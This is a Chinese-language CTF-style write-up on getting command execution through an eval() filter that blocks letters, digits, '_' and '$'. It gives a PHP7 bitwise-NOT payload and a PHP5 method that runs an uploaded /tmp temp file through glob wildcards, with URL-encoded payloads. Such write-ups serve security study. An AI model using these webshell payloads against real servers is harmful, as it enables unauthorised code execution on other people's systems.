无字母数字webshell之命令执行

文章目录

无字母数字的webshell构造技巧

<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}

分析这道题的限制:

1、webshell长度不能超过35位。

2、不能输入大小写字母、数字、_和$.

php7下简单解决问题

php7是允许($a)();执行动态函数,例如('phpinfo')();所以,我们可以构造一个可以生成phpinfo这个字符串的php表达式即可。payload如下(不可见字符用url编码表示,其实也就是phpinfo取反为%8F%97%8F%96%91%99%90,当其再次取反,那么就是phpinfo):

(~%8F%97%8F%96%91%99%90)();

?code=(~%8F%97%8F%96%91%99%90)();

什么是取反呢?

回想计算机组成原理的原码、反码、补码。这里的反码才是取反。

php5下解决问题

尝试php7下的payload。显然是不可以的。

那我们不妨尝试其他方法。

在上传文件时,会在/tmp下生成一个临时文件,很快就被删除,那怎么处理?

现在要解决几个问题:怎么在临时文件没被删除时匹配到他?以怎样的方式匹配?以及怎么执行。

先创建一个文件上传,上传文件查看临时文件。

已经生成临时文件,那么如何匹配呢?下面分析。可以使用到.加空格加文件进行执行,就算没有权限一样可以执行。

那么接下来解决匹配文件名的问题。

多次观察发现临时文件的最后一位一次是大写,一次是小写,但在Linux下没有名字为大写的文件。

那么就要用的glob通配符了。

glob

?匹配任意一个字符。

* 匹配任意多个字符

匹配4位任意字符

????

排除第三位为.的

??[^.]?

查询ascii码和global规则之后发现,可以下面这样匹配大写字母

[@-[]

那么匹配临时文件就是

/tmp/????????[@-[]

开始操作

首先抓一个上传文件的包和web.php的包。

上传文件里面写入

#!/bin/bash/

id

将web.php的包改为POST方式,并且将上传文件的包中的Content-Type以及文件内容也放进web.php的包。并且利用get的方式传递参数。

get的参数code最终会走入eval中。

官方文档查eval函数发现要先把其闭合,再写自己的代码。并且<?php可以写成<?=。

get传递的参数为

?code=?><?=`. /???/????????[@-[]`;?>

又因为是通过url传递,不能传递空格等,那么只能使用url编码对?以及空格和;进行编码。空格可以使用+代替

?code=%3F%3E%3C%3F%3D%60%2E%20%2F%3F%3F%3F%2F%3F%3F%3F%3F%3F%3F%3F%3F%5B%40%2D%5B%5D%60%3B%3F%3E


在burp里可以不用转码。